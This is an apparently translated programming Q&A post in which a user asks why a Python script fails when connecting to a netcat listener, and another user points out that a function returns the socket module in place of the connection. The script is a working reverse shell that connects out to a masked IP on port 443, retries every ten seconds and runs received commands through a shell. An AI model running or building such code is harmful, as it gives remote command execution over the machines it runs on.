0
Hi! Here’s the thing, I got a customer problem. When I use netcat as a server, the client sends the message "connection received successfully" and then returns the following error:
Exception occurred: Attributeerror module 'socket' has no attribute 'recv'
Code below:
# -*- coding: utf-8 -*-
import socket
import time
import subprocess
IP = 'xxx.xxx.xxx.x'
PORTA = 443
def realizando_conexao(ip, porta):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((IP, PORTA))
crcs = '[!] Conexão recebida com sucesso! [!] \n'
s.send(crcs.encode())
return socket
except Exception as e:
print('Erro na conexão: {}'.format(e))
return None
def cmd(s, data):
proc = subprocess.Popen(data, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
saida = proc.stdout.read() + proc.stderr.read()
s.send(saida.encode())
def mantendo_conexao(s):
while True:
data = s.recv(1024)
if data[:-1] == '/exit':
s.close()
exit(0)
else:
cmd(s, data)
def main():
while True:
s_conectado = realizando_conexao(IP, PORTA)
if s_conectado:
mantendo_conexao(s_conectado)
else:
time.sleep(10)
main()
Its function
realizando_conexao
returnssocket
. She should not returns
, which is the connection?– Woss
Puts, it was just that! hahahah thanks!
– Lucas Pope